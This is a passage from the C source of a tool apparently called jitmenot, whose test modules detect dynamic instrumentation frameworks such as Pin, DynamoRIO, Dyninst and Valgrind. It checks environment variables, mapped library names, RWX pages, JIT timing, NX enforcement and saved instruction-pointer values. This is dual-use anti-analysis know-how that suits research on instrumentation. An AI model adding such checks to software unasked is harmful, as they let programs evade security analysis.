@Author : ouadimjamal@gmail.com 3 | @date : December 2015 4 | 5 | Permission to use, copy, modify, distribute, and sell this software and its 6 | documentation for any purpose is hereby granted without fee, provided that 7 | the above copyright notice appear in all copies and that both that 8 | copyright notice and this permission notice appear in supporting 9 | documentation. No representations are made about the suitability of this 10 | software for any purpose. It is provided "as is" without express or 11 | implied warranty. 12 | 13 | */ 14 | 15 | #ifndef H_PMPARSER 16 | #define H_PMPARSER 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | /** 27 | * procmaps_struct 28 | * @desc hold all the information about an area in the process's VM 29 | */ 30 | typedef struct procmaps_struct { 31 | void *addr_start; //< start address of the area 32 | void *addr_end; //< end address 33 | unsigned long length; //< size of the range 34 | 35 | char perm[5]; //< permissions rwxp 36 | short is_r; //< rewrote of perm with short flags 37 | short is_w; 38 | short is_x; 39 | short is_p; 40 | 41 | long offset; //< offset 42 | char dev[12]; //< dev major:minor 43 | int inode; //< inode of the file that backs the area 44 | 45 | char pathname[600]; //< the path of the file that backs the area 46 | // chained list 47 | struct procmaps_struct *next; // 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "jitmenot.h" 9 | #include "testEnter.h" 10 | 11 | static sigjmp_buf afterSIGILL; 12 | volatile static sig_atomic_t catchedSignal = -1; 13 | 14 | static void hdl(int sig) { 15 | catchedSignal = sig; 16 | siglongjmp(afterSIGILL, -1); 17 | return; 18 | } 19 | 20 | static int detect(void) { 21 | if (sigsetjmp(afterSIGILL, 1) != 0) { 22 | #ifdef DEBUG 23 | printf("Received signal:\t%d\n", catchedSignal); 24 | #endif 25 | return RESULT_YES; 26 | } 27 | 28 | struct sigaction act; 29 | memset(&act, 0x0, sizeof(act)); 30 | 31 | act.sa_handler = hdl; 32 | act.sa_flags = SA_RESETHAND; 33 | 34 | if (sigaction(SIGILL, &act, NULL)) { 35 | #ifdef DEBUG 36 | printf("Sigaction unsuccessful - %s\n", strerror(errno)); 37 | #endif 38 | return RESULT_UNK; 39 | } 40 | 41 | asm volatile("enter $0, $1\n\t" 42 | "leave"); 43 | 44 | return RESULT_NO; 45 | } 46 | 47 | static int cleanup(void) { 48 | /* Nothing to be done */ 49 | return 0; 50 | } 51 | 52 | int register_test_enter(struct test_chain *all_tests) { 53 | struct test_chain *test; 54 | 55 | test = test_chain_alloc_new(all_tests); 56 | 57 | if (!test) return 1 << TEST_ID_ENTER; 58 | 59 | test->detect = detect; 60 | test->description = TEST_DESC_ENTER; 61 | test->name = TEST_NAME_ENTER; 62 | test->cleanup = cleanup; 63 | 64 | return 0; 65 | } 66 | -------------------------------------------------------------------------------- /jitmenot/testEnter.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_ENTER_H 2 | #define _TEST_ENTER_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_enter(struct test_chain *); 7 | 8 | #define TEST_ID_ENTER 12 9 | #define TEST_NAME_ENTER "enter" 10 | #define TEST_DESC_ENTER "Checks whether the enter x86 instruction is legal and can be executed." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testEnvVar.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "jitmenot.h" 6 | #include "testEnvVar.h" 7 | 8 | static const char *pin_env_var[NUM_PIN_ENV_VAR] = {"PIN_INJECTOR64_LD_LIBRARY_PATH", "PIN_INJECTOR32_LD_LIBRARY_PATH", 9 | "PIN_VM64_LD_LIBRARY_PATH", "PIN_VM32_LD_LIBRARY_PATH", 10 | "PIN_CRT_TZDATA"}; 11 | 12 | static const char *dr_env_var[NUM_DR_ENV_VAR] = {"DYNAMORIO_CONFIGDIR", "DYNAMORIO_TAKEOVER_IN_INIT", 13 | "DYNAMORIO_EXE_PATH"}; 14 | 15 | static const char *dyninst_env_var[NUM_DYNINST_ENV_VAR] = {"DYNINSTAPI_RT_LIB"}; 16 | 17 | int check_any_env(const char **env_var, int length) { 18 | for (int i = 0; i < length; i++) { 19 | char *value = getenv(env_var[i]); 20 | #ifdef DEBUG 21 | printf("%s\t%s\n", env_var[i], value); 22 | #endif 23 | if (value != NULL) return 1; 24 | } 25 | 26 | return 0; 27 | } 28 | 29 | int check_ld_preload(char *needle) { 30 | char *ld_preload = "LD_PRELOAD"; 31 | char *value = getenv(ld_preload); 32 | #ifdef DEBUG 33 | printf("%s\t%s\n", ld_preload, value); 34 | #endif 35 | 36 | if (value == NULL) return 0; 37 | if (strstr(value, needle) != NULL) return 1; 38 | return 0; 39 | } 40 | 41 | static int detect(void) { 42 | int detected = 0; 43 | 44 | detected = check_any_env(pin_env_var, NUM_PIN_ENV_VAR) || detected; 45 | detected = check_any_env(dr_env_var, NUM_DR_ENV_VAR) || detected; 46 | detected = check_any_env(dyninst_env_var, NUM_DYNINST_ENV_VAR) || detected; 47 | detected = check_ld_preload("vgpreload") || detected; 48 | 49 | return detected ? RESULT_YES : RESULT_NO; 50 | } 51 | 52 | static int cleanup(void) { 53 | /* Nothing to be done */ 54 | return 0; 55 | } 56 | 57 | int register_test_envvar(struct test_chain *all_tests) { 58 | struct test_chain *test; 59 | 60 | test = test_chain_alloc_new(all_tests); 61 | 62 | if (!test) return 1 << TEST_ID_ENVVAR; 63 | 64 | test->detect = detect; 65 | test->description = TEST_DESC_ENVVAR; 66 | test->name = TEST_NAME_ENVVAR; 67 | test->cleanup = cleanup; 68 | 69 | return 0; 70 | } 71 | -------------------------------------------------------------------------------- /jitmenot/testEnvVar.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_ENVVAR_H 2 | #define _TEST_ENVVAR_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_envvar(struct test_chain *); 7 | 8 | #define NUM_PIN_ENV_VAR 5 9 | #define NUM_DR_ENV_VAR 3 10 | #define NUM_DYNINST_ENV_VAR 1 11 | 12 | #define TEST_ID_ENVVAR 0 13 | #define TEST_NAME_ENVVAR "envvar" 14 | #define TEST_DESC_ENVVAR "Checks for PIN specific environment variables." 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /jitmenot/testFindConstant.c: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE /* See feature_test_macros(7) */ 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #include "jitmenot.h" 10 | #include "pmparser.h" 11 | #include "testFindConstant.h" 12 | 13 | static int detect(void) { 14 | int detected = 0; 15 | void *found = NULL; 16 | unsigned long constant = 0xBBDFE5357130AF08; 17 | size_t constant_size = sizeof(constant); 18 | unsigned char *needle = malloc(constant_size); 19 | 20 | for (size_t i = 0; i < constant_size; i++) { 21 | needle[i] = *((unsigned char *)&constant + i); 22 | } 23 | 24 | procmaps_struct *maps = pmparser_parse(-1); // this process 25 | if (maps == NULL) { 26 | #ifdef DEBUG 27 | printf("Cannot parse the memory map!\n"); 28 | #endif 29 | return RESULT_UNK; 30 | } 31 | 32 | procmaps_struct *maps_tmp = NULL; 33 | while ((maps_tmp = pmparser_next()) != NULL) { 34 | if (maps_tmp->is_r && strstr(maps_tmp->pathname, "vvar") == NULL) { 35 | if ((found = memmem(maps_tmp->addr_start, maps_tmp->length, needle, constant_size)) != NULL) { 36 | #ifdef DEBUG 37 | printf("%p\n", found); 38 | #endif 39 | detected += 1; 40 | } 41 | } 42 | } 43 | 44 | pmparser_free(maps); 45 | free(needle); 46 | #ifdef DEBUG 47 | printf("%#lx was found %d time(s) in memory\n", constant, detected); 48 | #endif 49 | 50 | // Normally *constant* can be found in .text, stack and heap 51 | return detected > 3 ? RESULT_YES : RESULT_NO; 52 | } 53 | 54 | static int cleanup(void) { 55 | /* Nothing to be done */ 56 | return 0; 57 | } 58 | 59 | int register_test_find_constant(struct test_chain *all_tests) { 60 | struct test_chain *test; 61 | 62 | test = test_chain_alloc_new(all_tests); 63 | 64 | if (!test) return 1 << TEST_ID_FIND_CONSTANT; 65 | 66 | test->detect = detect; 67 | test->description = TEST_DESC_FIND_CONSTANT; 68 | test->name = TEST_NAME_FIND_CONSTANT; 69 | test->cleanup = cleanup; 70 | 71 | return 0; 72 | } 73 | -------------------------------------------------------------------------------- /jitmenot/testFindConstant.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_FIND_CONSTANT_H 2 | #define _TEST_FIND_CONSTANT_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_find_constant(struct test_chain *); 7 | 8 | #define TEST_ID_FIND_CONSTANT 13 9 | #define TEST_NAME_FIND_CONSTANT "constant" 10 | #define TEST_DESC_FIND_CONSTANT \ 11 | "Checks whether a constant declared in the text segment can be found at least twice in the readable memory." 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /jitmenot/testFsbase.c: -------------------------------------------------------------------------------- 1 | #include "x86intrin.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "jitmenot.h" 15 | #include "testFsbase.h" 16 | 17 | static sigjmp_buf afterSIGILL; 18 | volatile static sig_atomic_t catchedSignal = -1; 19 | volatile static sig_atomic_t detected = RESULT_YES; 20 | 21 | static void hdl(int sig) { 22 | detected = RESULT_UNK; 23 | 24 | catchedSignal = sig; 25 | siglongjmp(afterSIGILL, -1); 26 | return; 27 | } 28 | 29 | static int detect(void) { 30 | if (sigsetjmp(afterSIGILL, 1) != 0) { 31 | #ifdef DEBUG 32 | printf("Received signal:\t%d\n", catchedSignal); 33 | #endif 34 | return detected; 35 | } 36 | 37 | struct sigaction act; 38 | memset(&act, 0x0, sizeof(act)); 39 | 40 | act.sa_handler = hdl; 41 | act.sa_flags = SA_RESETHAND; 42 | 43 | if (sigaction(SIGILL, &act, NULL)) { 44 | #ifdef DEBUG 45 | printf("Sigaction unsuccessful - %s\n", strerror(errno)); 46 | #endif 47 | return RESULT_UNK; 48 | } 49 | 50 | unsigned long rdfsbase = _readfsbase_u64(); 51 | 52 | unsigned long prctl_fsbase; 53 | if (syscall(SYS_arch_prctl, ARCH_GET_FS, &prctl_fsbase) == -1) { 54 | #ifdef DEBUG 55 | printf("arch_prctl GET_FS failed - %s\n", strerror(errno)); 56 | #endif 57 | return RESULT_UNK; 58 | } 59 | 60 | #ifdef DEBUG 61 | printf("rdfsbase:\t0x%lx\n", rdfsbase); 62 | printf("prctl:\t\t0x%lx\n", prctl_fsbase); 63 | #endif 64 | 65 | return rdfsbase != prctl_fsbase ? RESULT_YES : RESULT_NO; 66 | } 67 | 68 | static int cleanup(void) { 69 | /* Nothing to be done */ 70 | return 0; 71 | } 72 | 73 | int register_test_fsbase(struct test_chain *all_tests) { 74 | struct test_chain *test; 75 | 76 | test = test_chain_alloc_new(all_tests); 77 | 78 | if (!test) return 1 << TEST_ID_FSBASE; 79 | 80 | test->detect = detect; 81 | test->description = TEST_DESC_FSBASE; 82 | test->name = TEST_NAME_FSBASE; 83 | test->cleanup = cleanup; 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /jitmenot/testFsbase.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_FSBASE_H 2 | #define _TEST_FSBASE_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_fsbase(struct test_chain *); 7 | 8 | #define TEST_ID_FSBASE 11 9 | #define TEST_NAME_FSBASE "fsbase" 10 | #define TEST_DESC_FSBASE "Checks whether the returned fs base value is the same using rdfsbase and prctl syscall." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testJITBranchTime.c: -------------------------------------------------------------------------------- 1 | #include "x86intrin.h" 2 | #include 3 | #include 4 | #include 5 | 6 | #include "jitmenot.h" 7 | #include "testJITBranchTime.h" 8 | 9 | static int detect(void) { 10 | unsigned long long times[NUM_TIMES]; 11 | times[0] = _rdtsc(); 12 | 13 | for (int i = 1; i < NUM_TIMES; i++) { 14 | times[i] = _rdtsc(); 15 | } 16 | 17 | /* 18 | The first trace which PIN compiles includes both 0 and 1 times. 19 | Since the for loop jumps in the middle of a compiled trace, although 20 | the code is already in code cache, the traces are not equal, so it 21 | has to be jitted again (1-2). Lastly, there exist a trace with the 22 | same start address in the code cache but the static context has to be 23 | regenerated again before execution (2-3). So, only after the 4. rdtsc 24 | execution, PIN uses exclusively the instructions residing in code cache. 25 | */ 26 | long long jit_time = fmax(fmax(times[1] - times[0], times[2] - times[1]), times[3] - times[2]); 27 | 28 | long long current, max = 0; 29 | for (int i = 3; i < NUM_TIMES - 1; i++) { 30 | current = times[i + 1] - times[i]; 31 | max = fmax(max, current); 32 | } 33 | 34 | #ifdef DEBUG 35 | printf("\nJIT time:\t\t%lld\n", jit_time); 36 | 37 | for (int i = 3; i < NUM_TIMES - 1; i++) { 38 | printf("Reused cache time:\t%lld\n", times[i + 1] - times[i]); 39 | } 40 | #endif 41 | 42 | return jit_time > 15 * max ? RESULT_YES : RESULT_NO; 43 | } 44 | 45 | static int cleanup(void) { 46 | /* Nothing to be done */ 47 | return 0; 48 | } 49 | 50 | int register_test_jitbr(struct test_chain *all_tests) { 51 | struct test_chain *test; 52 | 53 | test = test_chain_alloc_new(all_tests); 54 | 55 | if (!test) return 1 << TEST_ID_JITBR; 56 | 57 | test->detect = detect; 58 | test->description = TEST_DESC_JITBR; 59 | test->name = TEST_NAME_JITBR; 60 | test->cleanup = cleanup; 61 | 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /jitmenot/testJITBranchTime.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_JITBR_H 2 | #define _TEST_JITBR_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_jitbr(struct test_chain *); 7 | 8 | #define NUM_TIMES 10 9 | 10 | #define TEST_ID_JITBR 1 11 | #define TEST_NAME_JITBR "jitbr" 12 | #define TEST_DESC_JITBR "Detects time overhead when a conditional branch is jitted." 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /jitmenot/testJITLibTime.c: -------------------------------------------------------------------------------- 1 | #include "x86intrin.h" 2 | #include 3 | #include 4 | #include 5 | 6 | #include "jitmenot.h" 7 | #include "testJITLibTime.h" 8 | 9 | const static char *linux_common_libs[NUM_LIBS] = {"libpthread.so.0", "libutil.so", "libcrypt.so", "libselinux.so.1", 10 | "libpcre.so.3"}; 11 | 12 | int load_unload_libs(const char **libs, int length) { 13 | void *handle; 14 | for (int i = 0; i < length; i++) { 15 | if ((handle = dlopen(libs[i], RTLD_NOW)) == NULL) { 16 | #ifdef DEBUG 17 | printf("Could not open %s\n", libs[i]); 18 | #endif 19 | return -1; 20 | } 21 | 22 | if (handle != NULL && dlclose(handle) != 0) { 23 | #ifdef DEBUG 24 | printf("Could not close %s\n", libs[i]); 25 | #endif 26 | return -1; 27 | } 28 | } 29 | 30 | return 0; 31 | } 32 | 33 | static int detect(void) { 34 | unsigned long long start[NUM_LOADS], end[NUM_LOADS]; 35 | 36 | for (int i = 0; i < NUM_LOADS; i++) { 37 | start[i] = _rdtsc(); 38 | 39 | if (load_unload_libs(linux_common_libs, NUM_LIBS) < 0) { 40 | return RESULT_UNK; 41 | } 42 | 43 | end[i] = _rdtsc(); 44 | } 45 | 46 | for (int i = 0; i < NUM_LOADS; i++) { 47 | if (end[i] < start[i]) { 48 | #ifdef DEBUG 49 | printf("Start %llu and End %llu times not monotonically increasing\n", start[i], end[i]); 50 | #endif 51 | return RESULT_UNK; 52 | } 53 | } 54 | 55 | long long first_load = end[0] - start[0]; 56 | long long second_load = end[1] - start[1]; 57 | double difference = (double)second_load / first_load; 58 | 59 | #ifdef DEBUG 60 | printf("First lib load time:\t%lld\n", first_load); 61 | printf("Second lib load time:\t%lld\n", second_load); 62 | printf("Difference:\t%f\n", difference); 63 | #endif 64 | 65 | return difference < 0.36 ? RESULT_YES : RESULT_NO; 66 | } 67 | 68 | static int cleanup(void) { 69 | /* Nothing to be done */ 70 | return 0; 71 | } 72 | 73 | int register_test_jitlib(struct test_chain *all_tests) { 74 | struct test_chain *test; 75 | 76 | test = test_chain_alloc_new(all_tests); 77 | 78 | if (!test) return 1 << TEST_ID_JITLIB; 79 | 80 | test->detect = detect; 81 | test->description = TEST_DESC_JITLIB; 82 | test->name = TEST_NAME_JITLIB; 83 | test->cleanup = cleanup; 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /jitmenot/testJITLibTime.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_JITLIB_H 2 | #define _TEST_JITLIB_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_jitlib(struct test_chain *); 7 | 8 | #define NUM_LIBS 5 9 | #define NUM_LOADS 2 10 | 11 | #define TEST_ID_JITLIB 2 12 | #define TEST_NAME_JITLIB "jitlib" 13 | #define TEST_DESC_JITLIB "Detects time overhead when libraries are loaded." 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /jitmenot/testMapname.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "jitmenot.h" 6 | #include "pmparser.h" 7 | #include "testMapname.h" 8 | 9 | static const char *pinbin = "pinbin"; 10 | static const char *dynamorio = "libdynamorio.so"; 11 | static const char *dyninstAPI = "libdyninstAPI_RT"; 12 | static const char *vgpreload = "vgpreload"; 13 | 14 | static int detect(void) { 15 | int detected = 0; 16 | procmaps_struct *maps = pmparser_parse(-1); // this process 17 | 18 | if (maps == NULL) { 19 | #ifdef DEBUG 20 | printf("Cannot parse the memory map!\n"); 21 | #endif 22 | return RESULT_UNK; 23 | } 24 | 25 | procmaps_struct *maps_tmp = NULL; 26 | 27 | while ((maps_tmp = pmparser_next()) != NULL) { 28 | char *pathname = maps_tmp->pathname; 29 | if (strstr(pathname, pinbin) != NULL || strstr(pathname, vgpreload) != NULL || 30 | strstr(pathname, dyninstAPI) != NULL || strstr(pathname, dynamorio) != NULL) { 31 | detected = 1; 32 | break; 33 | } 34 | } 35 | 36 | pmparser_free(maps); 37 | 38 | return detected == 1 ? RESULT_YES : RESULT_NO; 39 | } 40 | 41 | static int cleanup(void) { 42 | /* Nothing to be done */ 43 | return 0; 44 | } 45 | 46 | int register_test_mapname(struct test_chain *all_tests) { 47 | struct test_chain *test; 48 | 49 | test = test_chain_alloc_new(all_tests); 50 | 51 | if (!test) return 1 << TEST_ID_MAPNAME; 52 | 53 | test->detect = detect; 54 | test->description = TEST_DESC_MAPNAME; 55 | test->name = TEST_NAME_MAPNAME; 56 | test->cleanup = cleanup; 57 | 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /jitmenot/testMapname.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_MAPNAME_H 2 | #define _TEST_MAPNAME_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_mapname(struct test_chain *); 7 | 8 | #define TEST_ID_MAPNAME 5 9 | #define TEST_NAME_MAPNAME "mapname" 10 | #define TEST_DESC_MAPNAME "Checks mapped files' names for known values (pinbin, vgpreload)." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testNX.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "jitmenot.h" 10 | #include "testNX.h" 11 | 12 | volatile static sig_atomic_t detected = RESULT_YES; 13 | volatile static sig_atomic_t catched_signal = -1; 14 | static sigjmp_buf after_sigsev; 15 | 16 | /* 17 | call 0x5 18 | push rax 19 | mov eax, 0x2a 20 | pop rax 21 | ret 22 | */ 23 | static const unsigned char assembly[ASSEMBLY_SIZE] = {0xE8, 0x00, 0x00, 0x00, 0x00, 0x50, 0xB8, 24 | 0x2A, 0x00, 0x00, 0x00, 0x58, 0xC3}; 25 | 26 | static void hdl(int sig) { 27 | detected = RESULT_NO; 28 | 29 | catched_signal = sig; 30 | siglongjmp(after_sigsev, -1); 31 | } 32 | 33 | static int detect(void) { 34 | const int page_size = getpagesize(); 35 | 36 | if (sigsetjmp(after_sigsev, 1) != 0) { 37 | #ifdef DEBUG 38 | printf("Received signal:\t%d\n", catched_signal); 39 | #endif 40 | return detected; 41 | } 42 | 43 | struct sigaction act; 44 | memset(&act, 0x0, sizeof(act)); 45 | 46 | act.sa_handler = hdl; 47 | act.sa_flags = SA_RESETHAND; 48 | 49 | if (sigaction(SIGSEGV, &act, NULL)) { 50 | #ifdef DEBUG 51 | printf("Sigaction unsuccessful - %s\n", strerror(errno)); 52 | #endif 53 | return RESULT_UNK; 54 | } 55 | 56 | unsigned char *to_exec = malloc(page_size); 57 | if (to_exec == NULL) { 58 | #ifdef DEBUG 59 | printf("Malloc with size %d unsuccessful - %s\n", page_size, strerror(errno)); 60 | #endif 61 | return RESULT_UNK; 62 | } 63 | 64 | memcpy(to_exec, assembly, ASSEMBLY_SIZE); 65 | 66 | asm volatile("call *%0" : : "m"(to_exec)); 67 | 68 | return detected; 69 | } 70 | 71 | static int cleanup(void) { 72 | /* Nothing to be done */ 73 | return 0; 74 | } 75 | 76 | int register_test_testnx(struct test_chain *all_tests) { 77 | struct test_chain *test; 78 | 79 | test = test_chain_alloc_new(all_tests); 80 | 81 | if (!test) return 1 << TEST_ID_NX; 82 | 83 | test->detect = detect; 84 | test->description = TEST_DESC_NX; 85 | test->name = TEST_NAME_NX; 86 | test->cleanup = cleanup; 87 | 88 | return 0; 89 | } 90 | -------------------------------------------------------------------------------- /jitmenot/testNX.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_NX_H 2 | #define _TEST_NX_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_testnx(struct test_chain *); 7 | 8 | #define ASSEMBLY_SIZE 13 9 | 10 | #define TEST_ID_NX 3 11 | #define TEST_NAME_NX "nx" 12 | #define TEST_DESC_NX "Attempts to execute code on a page with non-executable permissions." 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /jitmenot/testPagePerm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "jitmenot.h" 5 | #include "pmparser.h" 6 | #include "testPagePerm.h" 7 | 8 | static int detect(void) { 9 | int rwx = 0; 10 | procmaps_struct *maps = pmparser_parse(-1); // this process 11 | if (maps == NULL) { 12 | #ifdef DEBUG 13 | printf("Cannot parse the memory map!\n"); 14 | #endif 15 | return RESULT_UNK; 16 | } 17 | 18 | procmaps_struct *maps_tmp = NULL; 19 | 20 | while ((maps_tmp = pmparser_next()) != NULL) { 21 | rwx += (maps_tmp->is_r && maps_tmp->is_w && maps_tmp->is_x) ? 1 : 0; 22 | } 23 | 24 | pmparser_free(maps); 25 | 26 | return rwx > 2 ? RESULT_YES : RESULT_NO; 27 | } 28 | 29 | static int cleanup(void) { 30 | /* Nothing to be done */ 31 | return 0; 32 | } 33 | 34 | int register_test_pageperm(struct test_chain *all_tests) { 35 | struct test_chain *test; 36 | 37 | test = test_chain_alloc_new(all_tests); 38 | 39 | if (!test) return 1 << TEST_ID_PAGEPERM; 40 | 41 | test->detect = detect; 42 | test->description = TEST_DESC_PAGEPERM; 43 | test->name = TEST_NAME_PAGEPERM; 44 | test->cleanup = cleanup; 45 | 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /jitmenot/testPagePerm.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_PAGEPERM_H 2 | #define _TEST_PAGEPERM_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_pageperm(struct test_chain *); 7 | 8 | #define TEST_ID_PAGEPERM 4 9 | #define TEST_NAME_PAGEPERM "pageperm" 10 | #define TEST_DESC_PAGEPERM "Checks for pages with RWX permissions." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testRIPFXSAVE.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "jitmenot.h" 6 | #include "testRIPFXSAVE.h" 7 | 8 | static int detect(void) { 9 | unsigned long rip = 0, real_rip = 0; 10 | unsigned long fxsave_memoty[FXSAVE_MEMORY_SIZE]; 11 | extern unsigned char ripfxsave_label[]; 12 | 13 | memset(fxsave_memoty, 0, sizeof(fxsave_memoty)); 14 | 15 | // Execute a fp instruction and then save the 16 | // fp register values on the stack using fxsave64 17 | asm volatile(".global ripfxsave_label\n\t" 18 | "leaq (%%rip), %0\n\t" 19 | "ripfxsave_label: \n\t" 20 | "fldpi\n\t" 21 | "fxsave64 %1" 22 | : "=r"(rip), "=m"(fxsave_memoty)); 23 | 24 | real_rip = fxsave_memoty[1]; 25 | 26 | #ifdef DEBUG 27 | printf("\nRIP:\t\t0x%lx\nRealRIP:\t0x%lx\nRIPLabel:\t%p\n", rip, real_rip, ripfxsave_label); 28 | #endif 29 | 30 | if (real_rip != (unsigned long)ripfxsave_label || real_rip != rip) { 31 | return RESULT_YES; 32 | } 33 | 34 | return RESULT_NO; 35 | } 36 | 37 | static int cleanup(void) { 38 | /* Nothing to be done */ 39 | return 0; 40 | } 41 | 42 | int register_test_ripfxsave(struct test_chain *all_tests) { 43 | struct test_chain *test; 44 | 45 | test = test_chain_alloc_new(all_tests); 46 | 47 | if (!test) return 1 << TEST_ID_RIPFXSAVE; 48 | 49 | test->detect = detect; 50 | test->description = TEST_DESC_RIPFXSAVE; 51 | test->name = TEST_NAME_RIPFXSAVE; 52 | test->cleanup = cleanup; 53 | 54 | return 0; 55 | } 56 | -------------------------------------------------------------------------------- /jitmenot/testRIPFXSAVE.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_RIPFXSAVE_H 2 | #define _TEST_RIPFXSAVE_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_ripfxsave(struct test_chain *); 7 | 8 | #define FXSAVE_MEMORY_SIZE 0x34 9 | 10 | #define TEST_ID_RIPFXSAVE 6 11 | #define TEST_NAME_RIPFXSAVE "ripfxsave" 12 | #define TEST_DESC_RIPFXSAVE "Executes fxsave instruction and checks the saved instruction pointer value." 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /jitmenot/testRIPSIGINFO.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "jitmenot.h" 8 | #include "testRIPSIGINFO.h" 9 | 10 | volatile unsigned long real_rip = 0; 11 | 12 | static void hdl(int sig, siginfo_t *siginfo, void *context) { 13 | // Drill down the context using uc_mcontext struct and find 14 | // saved fpregs rip value 15 | ucontext_t *uc = (ucontext_t *)context; 16 | real_rip = (unsigned long)uc->uc_mcontext.fpregs->rip; 17 | } 18 | 19 | static int detect(void) { 20 | unsigned long rip = 0; 21 | extern unsigned char ripsiginfo_label[]; 22 | 23 | struct sigaction act; 24 | memset(&act, 0x0, sizeof(act)); 25 | 26 | act.sa_sigaction = hdl; 27 | act.sa_flags = SA_SIGINFO | SA_RESETHAND; 28 | 29 | if (sigaction(SIGTRAP, &act, NULL)) { 30 | #ifdef DEBUG 31 | printf("Sigaction unsuccessful - %s\n", strerror(errno)); 32 | #endif 33 | return RESULT_UNK; 34 | } 35 | 36 | // Execute a harmless fp instruction and then an interrupt 37 | // which is mangaed in the registered handle 38 | asm volatile(".global ripsiginfo_label\n\t" 39 | "leaq (%%rip), %0\n\t" 40 | "ripsiginfo_label: \n\t" 41 | "fldpi\n\t" 42 | "int3" 43 | : "=r"(rip)); 44 | 45 | #ifdef DEBUG 46 | printf("\nRIP:\t\t0x%lx\nRealRIP:\t0x%lx\nRIPLabel:\t%p\n", rip, real_rip, ripsiginfo_label); 47 | #endif 48 | 49 | if (real_rip != (unsigned long)ripsiginfo_label || real_rip != rip) { 50 | return RESULT_YES; 51 | } 52 | 53 | return RESULT_NO; 54 | } 55 | 56 | static int cleanup(void) { 57 | /* Nothing to be done */ 58 | return 0; 59 | } 60 | 61 | int register_test_testripsiginfo(struct test_chain *all_tests) { 62 | struct test_chain *test; 63 | 64 | test = test_chain_alloc_new(all_tests); 65 | 66 | if (!test) return 1 << TEST_ID_RIPSIGINFO; 67 | 68 | test->detect = detect; 69 | test->description = TEST_DESC_RIPSIGINFO; 70 | test->name = TEST_NAME_RIPSIGINFO; 71 | test->cleanup = cleanup; 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /jitmenot/testRIPSIGINFO.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_RIPSIGINFO_H 2 | #define _TEST_RIPSIGINFO_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_testripsiginfo(struct test_chain *); 7 | 8 | #define TEST_ID_RIPSIGINFO 7 9 | #define TEST_NAME_RIPSIGINFO "ripsiginfo" 10 | #define TEST_DESC_RIPSIGINFO "Causes an int3 and checks the saved instruction pointer value in FPREGS." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testRIPSYSCALL.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "jitmenot.h" 7 | #include "testRIPSYSCALL.h" 8 | 9 | static int detect(void) { 10 | unsigned long rip = 0, saved_rip = 0; 11 | extern unsigned char ripsys_label[]; 12 | int page_size = getpagesize(); 13 | 14 | // As described in https://software.intel.com/en-us/articles/intel-sdm on 15 | // sysenter the rip value is saved in rcx so in the end it is restored 16 | // by sysexit. When executed in Pin on sysexit the value is not rip. 17 | asm volatile(".global ripsys_label\n\t" 18 | "mov $0, %%rcx\n\t" 19 | "movq $0x27, %%rax\n\t" 20 | "syscall\n\t" 21 | "ripsys_label: \n\t" 22 | "leaq (%%rip), %0\n\t" 23 | "leaq (%%rcx), %1" 24 | : "=r"(rip), "=r"(saved_rip) 25 | : 26 | : "rax", "rcx"); 27 | 28 | #ifdef DEBUG 29 | printf("\nRIP:\t\t0x%lx\nSavedRIP:\t0x%lx\nRIPLabel:\t%p\n", rip, saved_rip, 